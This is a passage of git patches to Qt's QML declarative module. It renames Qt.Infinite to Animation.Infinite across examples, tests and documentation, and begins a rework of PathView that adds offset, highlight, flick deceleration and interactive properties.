-10,7 +10,7 @@ Rectangle { Row { y: -screen.height / 4.5 - NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Qt.Infinite } + NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite } Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } diff --git a/examples/declarative/fonts/hello.qml b/examples/declarative/fonts/hello.qml index f703167..e15a0f0 100644 --- a/examples/declarative/fonts/hello.qml +++ b/examples/declarative/fonts/hello.qml @@ -10,7 +10,7 @@ Rectangle { text: "Hello world!"; font.pixelSize: 60 SequentialAnimation on font.letterSpacing { - loops: Qt.Infinite; + loops: Animation.Infinite; NumberAnimation { from: 100; to: 300; easing.type: "InQuad"; duration: 3000 } ScriptAction { script: { container.y = (screen.height / 4) + (Math.random() * screen.height / 2) @@ -18,7 +18,7 @@ Rectangle { } } } SequentialAnimation on opacity { - loops: Qt.Infinite; + loops: Animation.Infinite; NumberAnimation { from: 1; to: 0; duration: 2600 } PauseAnimation { duration: 400 } } diff --git a/examples/declarative/listview/content/ClickAutoRepeating.qml b/examples/declarative/listview/content/ClickAutoRepeating.qml index 8ef4a52..cbf1f3b 100644 --- a/examples/declarative/listview/content/ClickAutoRepeating.qml +++ b/examples/declarative/listview/content/ClickAutoRepeating.qml @@ -18,7 +18,7 @@ Item { ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatdelay } SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatperiod } } diff --git a/examples/declarative/parallax/qml/Smiley.qml b/examples/declarative/parallax/qml/Smiley.qml index 75302a3..c13b879 100644 --- a/examples/declarative/parallax/qml/Smiley.qml +++ b/examples/declarative/parallax/qml/Smiley.qml @@ -25,7 +25,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/progressbar/progressbars.qml b/examples/declarative/progressbar/progressbars.qml index ced3ccd..c8022b0 100644 --- a/examples/declarative/progressbar/progressbars.qml +++ b/examples/declarative/progressbar/progressbars.qml @@ -14,9 +14,9 @@ Rectangle { ProgressBar { property int r: Math.floor(Math.random() * 5000 + 1000) width: main.width - 20 - NumberAnimation on value { duration: r; from: 0; to: 100; loops: Qt.Infinite } - ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Qt.Infinite } - ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Qt.Infinite } + NumberAnimation on value { duration: r; from: 0; to: 100; loops: Animation.Infinite } + ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Animation.Infinite } + ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Animation.Infinite } } } } diff --git a/examples/declarative/tvtennis/tvtennis.qml b/examples/declarative/tvtennis/tvtennis.qml index 138d587..fcb285d 100644 --- a/examples/declarative/tvtennis/tvtennis.qml +++ b/examples/declarative/tvtennis/tvtennis.qml @@ -21,7 +21,7 @@ Rectangle { // Move the ball to the right and back to the left repeatedly SequentialAnimation on x { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: page.width - 40; duration: 2000 } ScriptAction { script: paddle.play() } PropertyAction { target: ball; property: "direction"; value: "left" } diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index b0f568f..62c0ce2 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -18,7 +18,7 @@ Item { NumberAnimation on rotation { from: 0 to: 360 - loops: Qt.Infinite + loops: Animation.Infinite duration: root.period } } diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index b85cfb6..2a35dda 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -12,7 +12,7 @@ Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) Removed ParentAction (use ParentAnimation instead) ScriptAction: renamed stateChangeScriptName -> scriptName -Animation: replace repeat with loops (loops: Qt.Infinite gives the old repeat behavior) +Animation: replace repeat with loops (loops: Animation.Infinite gives the old repeat behavior) C++ API ------- diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index e374a93..366750e 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -1107,7 +1107,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - loops: Qt.Infinite + loops: Animation.Infinite } } \endqml @@ -1155,7 +1155,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - loops: Qt.Infinite + loops: Animation.Infinite } } \endqml diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index b4362ce..ddbe433 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -218,9 +218,6 @@ QDeclarativeScriptEngine::QDeclarativeScriptEngine(QDeclarativeEnginePrivate *pr // XXX When the above a done some better way, that way should also be // XXX used to add Qt.Sound class. - //for animations that loop forever - qtObject.setProperty(QLatin1String("Infinite"), -1); - //types qtObject.setProperty(QLatin1String("rgba"), newFunction(QDeclarativeEnginePrivate::rgba, 4)); qtObject.setProperty(QLatin1String("hsla"), newFunction(QDeclarativeEnginePrivate::hsla, 4)); diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 81ab3d3..bad142c 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -309,7 +309,7 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) By default, \c loops is 1: the animation will play through once and then stop. - If set to Qt.Infinite, the animation will continuously repeat until it is explicitly + If set to Animation.Infinite, the animation will continuously repeat until it is explicitly stopped - either by setting the \c running property to false, or by calling the \c stop() method. @@ -319,7 +319,7 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) Rectangle { width: 100; height: 100; color: "green" RotationAnimation on rotation { - loops: Qt.Infinite + loops: Animation.Infinite from: 0 to: 360 } @@ -335,6 +335,9 @@ int QDeclarativeAbstractAnimation::loops() const void QDeclarativeAbstractAnimation::setLoops(int loops) { Q_D(QDeclarativeAbstractAnimation); + if (loops < 0) + loops = -1; + if (loops == d->loopCount) return; @@ -1598,7 +1601,7 @@ void QDeclarativePropertyAnimationPrivate::convertVariant(QVariant &variant, int \qml Rectangle { SequentialAnimation on x { - loops: Qt.Infinite + loops: Animation.Infinite PropertyAnimation { to: 50 } PropertyAnimation { to: 0 } } @@ -2007,7 +2010,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) id: theRect width: 100; height: 100 color: Qt.rgba(0,0,1) - NumberAnimation on x { to: 500; loops: Qt.Infinite } //animate theRect's x property + NumberAnimation on x { to: 500; loops: Animation.Infinite } //animate theRect's x property Behavior on y { NumberAnimation {} } //animate theRect's y property } \endqml diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 2e5b87c..816520e 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -70,6 +70,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_INTERFACES(QDeclarativeParserStatus) Q_INTERFACES(QDeclarativePropertyValueSource) + Q_ENUMS(Loops) Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) @@ -80,6 +81,8 @@ public: QDeclarativeAbstractAnimation(QObject *parent=0); virtual ~QDeclarativeAbstractAnimation(); + enum Loops { Infinite = -2 }; + bool isRunning() const; void setRunning(bool); bool isPaused() const; diff --git a/src/declarative/util/qdeclarativespringfollow.cpp b/src/declarative/util/qdeclarativespringfollow.cpp index ca88b24..76d7c98 100644 --- a/src/declarative/util/qdeclarativespringfollow.cpp +++ b/src/declarative/util/qdeclarativespringfollow.cpp @@ -224,7 +224,7 @@ void QDeclarativeSpringFollowPrivate::stop() color: "#00ff00" y: 200 // initial value SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 200 easing.type: "OutBounce" diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 46c9b73..d79c6ba 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -71,6 +71,38 @@ #include "qdeclarativexmllistmodel_p.h" #endif +template +int qmlRegisterTypeEnums(const char *qmlName) +{ + QByteArray name(T::staticMetaObject.className()); + + QByteArray pointerName(name + '*'); + QByteArray listName("QDeclarativeListProperty<" + name + ">"); + + QDeclarativePrivate::RegisterType type = { + 0, + + qRegisterMetaType(pointerName.constData()), + qRegisterMetaType >(listName.constData()), + 0, 0, + + "Qt", 4, 6, qmlName, &T::staticMetaObject, + + QDeclarativePrivate::attachedPropertiesFunc(), + QDeclarativePrivate::attachedPropertiesMetaObject(), + + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + + 0, 0, + + 0 + }; + + return QDeclarativePrivate::registerType(type); +} + void QDeclarativeUtilModule::defineModule() { qmlRegisterType("Qt",4,6,"AnchorAnimation"); @@ -107,9 +139,10 @@ void QDeclarativeUtilModule::defineModule() #endif qmlRegisterType(); - qmlRegisterType(); qmlRegisterType(); + qmlRegisterTypeEnums("Animation"); + qmlRegisterCustomType("Qt", 4,6, "ListModel", "QDeclarativeListModel", new QDeclarativeListModelParser); qmlRegisterCustomType("Qt", 4, 6, "PropertyChanges", "QDeclarativePropertyChanges", diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml index ed43082..d6bfe45 100644 --- a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml +++ b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml @@ -10,7 +10,7 @@ Rectangle { width: 100; height: 100 color: Qt.rgba(1,0,0) Behavior on x { - NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Qt.Infinite} + NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Animation.Infinite} } } diff --git a/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml index da2e8d0..5ce758d 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml @@ -66,4 +66,4 @@ Rectangle { ] } - \ No newline at end of file + diff --git a/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml index bf4dd85..5f97408 100644 --- a/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml +++ b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml @@ -7,4 +7,4 @@ Item { Item { objectName: "parentItem" } -} \ No newline at end of file +} diff --git a/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml index a41f003..09877ac 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml @@ -68,4 +68,4 @@ Rectangle { ] } - \ No newline at end of file + diff --git a/tests/auto/declarative/qdeclarativerepeater/data/properties.qml b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml index 550ce8d..8c9f88e 100644 --- a/tests/auto/declarative/qdeclarativerepeater/data/properties.qml +++ b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml @@ -8,4 +8,4 @@ Row { text: "I'm item " + index } } -} \ No newline at end of file +} diff --git a/tests/auto/declarative/visual/animation/loop/loop.qml b/tests/auto/declarative/visual/animation/loop/loop.qml index 36f3ece..927e103 100644 --- a/tests/auto/declarative/visual/animation/loop/loop.qml +++ b/tests/auto/declarative/visual/animation/loop/loop.qml @@ -14,7 +14,7 @@ Rectangle { back to 100, jumps to 200, and so on. */ x: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 100; duration: 1000 } NumberAnimation { from: 200; to: 400; duration: 1000 } } diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml index 0429171..4562aa7 100644 --- a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml +++ b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml @@ -11,7 +11,7 @@ Rectangle { x: 60-width/2 y: 200-height y: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 0; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml index 2beb1dd..c3006d5 100644 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml +++ b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml @@ -19,13 +19,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 width: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } height: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml index c9e65fe..99a9973 100644 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml +++ b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml @@ -7,7 +7,7 @@ Rectangle { id: rect width: 50; height: 20; y: 30; color: "black" x: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 50; to: 700; duration: 2000 } NumberAnimation { from: 700; to: 50; duration: 2000 } } diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml index 4809a9c..e9c94c7 100644 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml +++ b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml @@ -8,7 +8,7 @@ Rectangle { color: "#00ff00" y: 200; width: 60; height: 20 y: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 20; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml index 7b1042b..ecd9470 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml @@ -5,7 +5,7 @@ Rectangle { height: 100 Text { - width: NumberAnimation { from: 500; to: 0; loops: Qt.Infinite; duration: 5000 } + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 5000 } elide: Text.ElideRight text: 'Here is some very long text that we should truncate when sizing window' } diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml index 21763b2..ab6e1533 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml @@ -11,7 +11,7 @@ Rectangle { anchors.centerIn: parent Text { id: myText - width: NumberAnimation { from: 500; to: 0; loops: Qt.Infinite; duration: 1000 } + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 1000 } elide: "ElideRight" text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH" } diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml index f50aec6..5516fc9 100644 --- a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml index 7b981ac..199f71f 100644 --- a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/renderControl.qml index 406e156..bcbcf5c 100644 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.qml +++ b/tests/auto/declarative/visual/webview/zooming/renderControl.qml @@ -10,7 +10,7 @@ Rectangle { width: 400 url: "renderControl.html" x: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 100; to: 0; duration: 200 } PropertyAction { target: webview; property: "renderingEnabled"; value: false } NumberAnimation { from: 0; to: -100; duration: 200 } diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.qml b/tests/auto/declarative/visual/webview/zooming/resolution.qml index 57cc17b..bce6744 100644 --- a/tests/auto/declarative/visual/webview/zooming/resolution.qml +++ b/tests/auto/declarative/visual/webview/zooming/resolution.qml @@ -8,7 +8,7 @@ WebView { url: "resolution.html" zoomFactor: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 1; to: 0.25; duration: 2000 } NumberAnimation { from: 0.25; to: 1; duration: 2000 } NumberAnimation { from: 1; to: 5; duration: 2000 } diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml index f4c8aaa..6d51c8a 100644 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml +++ b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml @@ -8,7 +8,7 @@ WebView { settings.zoomTextOnly: true zoomFactor: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 2; to: 0.25; duration: 1000 } NumberAnimation { from: 0.25; to: 2; duration: 1000 } } -- cgit v0.12 From 7140a55d883492564ba704a010aff547f5d7a89c Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 14:00:35 +1000 Subject: Begin dragging PathView up to the level (quality and functionality) of other views. Task-number: QT-319 --- .../graphicsitems/qdeclarativepathview.cpp | 641 +++++++++++---------- .../graphicsitems/qdeclarativepathview_p.h | 25 +- .../graphicsitems/qdeclarativepathview_p_p.h | 25 +- .../qdeclarativepathview/data/pathview0.qml | 5 + .../qdeclarativepathview/data/pathview3.qml | 2 +- .../tst_qdeclarativepathview.cpp | 22 +- 6 files changed, 411 insertions(+), 309 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index b9c8971..f3d6137 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -138,6 +138,103 @@ void QDeclarativePathViewPrivate::clear() items.clear(); } +void QDeclarativePathViewPrivate::updateMappedRange() +{ + if (model && pathItems != -1 && pathItems < model->count()) + mappedRange = qreal(pathItems)/model->count(); + else + mappedRange = 1.0; +} + +qreal QDeclarativePathViewPrivate::positionOfIndex(int index) const +{ + qreal pos = -1.0; + + if (model && index >= 0 && index < model->count()) { + qreal globalPos = qreal(index) + offset; + globalPos = qmlMod(globalPos, qreal(model->count())) / model->count(); + if (pathItems != -1 && pathItems < model->count()) { + globalPos += snapPos * mappedRange; + globalPos = qmlMod(globalPos, 1.0); + if (globalPos < mappedRange) + pos = globalPos / mappedRange; + } else { + pos = qmlMod(globalPos + snapPos, 1.0); + } + } + + return pos; +} + +void QDeclarativePathViewPrivate::createHighlight() +{ + Q_Q(QDeclarativePathView); + bool changed = false; + if (highlightItem) { + delete highlightItem; + highlightItem = 0; + changed = true; + } + + QDeclarativeItem *item = 0; + if (highlightComponent) { + QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); + QObject *nobj = highlightComponent->create(highlightContext); + if (nobj) { + highlightContext->setParent(nobj); + item = qobject_cast(nobj); + if (!item) + delete nobj; + } else { + delete highlightContext; + } + } else { + item = new QDeclarativeItem; + } + if (item) { + item->setParent(q); + highlightItem = item; + changed = true; + } + if (changed) + emit q->highlightItemChanged(); +} + +void QDeclarativePathViewPrivate::updateHighlight() +{ + Q_Q(QDeclarativePathView); + if (!q->isComponentComplete()) + return; + if (highlightItem) + updateItem(highlightItem, snapPos); +} + +void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) +{ + if (QDeclarativePathViewAttached *att = attached(item)) { + foreach(const QString &attr, path->attributes()) + att->setValue(attr.toUtf8(), path->attributeAt(attr, percent)); + } + QPointF pf = path->pointAt(percent); + item->setX(pf.x() - item->width()*item->scale()/2); + item->setY(pf.y() - item->height()*item->scale()/2); +} + +void QDeclarativePathViewPrivate::regenerate() +{ + Q_Q(QDeclarativePathView); + if (!q->isComponentComplete()) + return; + + clear(); + + if (!isValid()) + return; + + firstIndex = -1; + updateMappedRange(); + q->refill(); +} /*! \qmlclass PathView QDeclarativePathView @@ -232,6 +329,7 @@ void QDeclarativePathView::setModel(const QVariant &model) if (d->model) { disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); + disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); disconnect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); for (int i=0; iitems.count(); i++){ @@ -261,13 +359,16 @@ void QDeclarativePathView::setModel(const QVariant &model) if (d->model) { connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); + connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); connect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); } - d->firstIndex = 0; - d->pathOffset = 0; + d->offset = qmlMod(d->offset, qreal(d->model->count())); + if (d->offset < 0) + d->offset = d->model->count() + d->offset; d->regenerate(); d->fixOffset(); + emit countChanged(); emit modelChanged(); } @@ -330,7 +431,7 @@ void QDeclarativePathView::setCurrentIndex(int idx) if (d->model->count()) { int itemIndex = (d->currentIndex - d->firstIndex + d->model->count()) % d->model->count(); if (itemIndex < d->items.count()) { - if (QDeclarativeItem *item = d->items.at(d->currentIndex)) { + if (QDeclarativeItem *item = d->items.at(itemIndex)) { if (QDeclarativePathViewAttached *att = d->attached(item)) att->setIsCurrentItem(false); } @@ -354,12 +455,13 @@ void QDeclarativePathView::setCurrentIndex(int idx) /*! \qmlproperty real PathView::offset - The offset specifies how far along the path (0.0-1.0) the items are from their initial positions. + The offset specifies how far along the path the items are from their initial positions. + This is a real number that ranges from 0.0 to the count of items in the model. */ qreal QDeclarativePathView::offset() const { Q_D(const QDeclarativePathView); - return d->_offset; + return d->offset; } void QDeclarativePathView::setOffset(qreal offset) @@ -372,18 +474,25 @@ void QDeclarativePathView::setOffset(qreal offset) void QDeclarativePathViewPrivate::setOffset(qreal o) { Q_Q(QDeclarativePathView); - if (_offset != o) { - _offset = qmlMod(o, qreal(1.0)); - if (_offset < 0) - _offset = 1.0 + _offset; - q->refill(); + if (offset != o) { + if (isValid() && q->isComponentComplete()) { + offset = qmlMod(o, qreal(model->count())); + if (offset < 0) + offset = model->count() + offset; + q->refill(); + } else { + offset = o; + } + emit q->offsetChanged(); } } /*! \qmlproperty real PathView::snapPosition - This property determines the position (0.0-1.0) the nearest item will snap to. + This property determines the position on the path (0.0-1.0) the nearest item will snap to. + The item nearest this position will set currentIndex, for example when offset is 0.0 the + first item will be placed at this position and currentIndex will be 0. */ qreal QDeclarativePathView::snapPosition() const { @@ -398,10 +507,34 @@ void QDeclarativePathView::setSnapPosition(qreal pos) if (qFuzzyCompare(normalizedPos, d->snapPos)) return; d->snapPos = normalizedPos; + d->updateHighlight(); d->fixOffset(); emit snapPositionChanged(); } +QDeclarativeComponent *QDeclarativePathView::highlight() const +{ + Q_D(const QDeclarativePathView); + return d->highlightComponent; +} + +void QDeclarativePathView::setHighlight(QDeclarativeComponent *highlight) +{ + Q_D(QDeclarativePathView); + if (highlight != d->highlightComponent) { + d->highlightComponent = highlight; + d->createHighlight(); + d->updateHighlight(); + emit highlightChanged(); + } +} + +QDeclarativeItem *QDeclarativePathView::highlightItem() +{ + Q_D(const QDeclarativePathView); + return d->highlightItem; +} + /*! \qmlproperty real PathView::dragMargin This property holds the maximum distance from the path that initiate mouse dragging. @@ -426,6 +559,52 @@ void QDeclarativePathView::setDragMargin(qreal dragMargin) } /*! + \qmlproperty real PathView::flickDeceleration + This property holds the rate at which a flick will decelerate. + + The default is 100. +*/ +qreal QDeclarativePathView::flickDeceleration() const +{ + Q_D(const QDeclarativePathView); + return d->deceleration; +} + +void QDeclarativePathView::setFlickDeceleration(qreal dec) +{ + Q_D(QDeclarativePathView); + if (d->deceleration == dec) + return; + d->deceleration = dec; + emit flickDecelerationChanged(); +} + +/*! + \qmlproperty bool PathView::interactive + + A user cannot drag or flick a PathView that is not interactive. + + This property is useful for temporarily disabling flicking. This allows + special interaction with PathView's children. +*/ +bool QDeclarativePathView::isInteractive() const +{ + Q_D(const QDeclarativePathView); + return d->interactive; +} + +void QDeclarativePathView::setInteractive(bool interactive) +{ + Q_D(QDeclarativePathView); + if (interactive != d->interactive) { + d->interactive = interactive; + if (!interactive) + d->tl.clear(); + emit interactiveChanged(); + } +} + +/*! \qmlproperty component PathView::delegate The delegate provides a template defining each item instantiated by the view. @@ -467,7 +646,7 @@ void QDeclarativePathView::setDelegate(QDeclarativeComponent *delegate) /*! \qmlproperty int PathView::pathItemCount - This property holds the number of items visible on the path at any one time + This property holds the number of items visible on the path at any one time. */ int QDeclarativePathView::pathItemCount() const { @@ -480,9 +659,13 @@ void QDeclarativePathView::setPathItemCount(int i) Q_D(QDeclarativePathView); if (i == d->pathItems) return; + if (i < 1) + i = 1; d->pathItems = i; - d->regenerate(); - pathItemCountChanged(); + if (d->isValid() && isComponentComplete()) { + d->regenerate(); + } + emit pathItemCountChanged(); } QPointF QDeclarativePathViewPrivate::pointNear(const QPointF &point, qreal *nearPercent) const @@ -512,7 +695,7 @@ QPointF QDeclarativePathViewPrivate::pointNear(const QPointF &point, qreal *near void QDeclarativePathView::mousePressEvent(QGraphicsSceneMouseEvent *event) { Q_D(QDeclarativePathView); - if (!d->items.count()) + if (!d->interactive || !d->items.count()) return; QPointF scenePoint = mapToScene(event->pos()); int idx = 0; @@ -542,7 +725,7 @@ void QDeclarativePathView::mousePressEvent(QGraphicsSceneMouseEvent *event) void 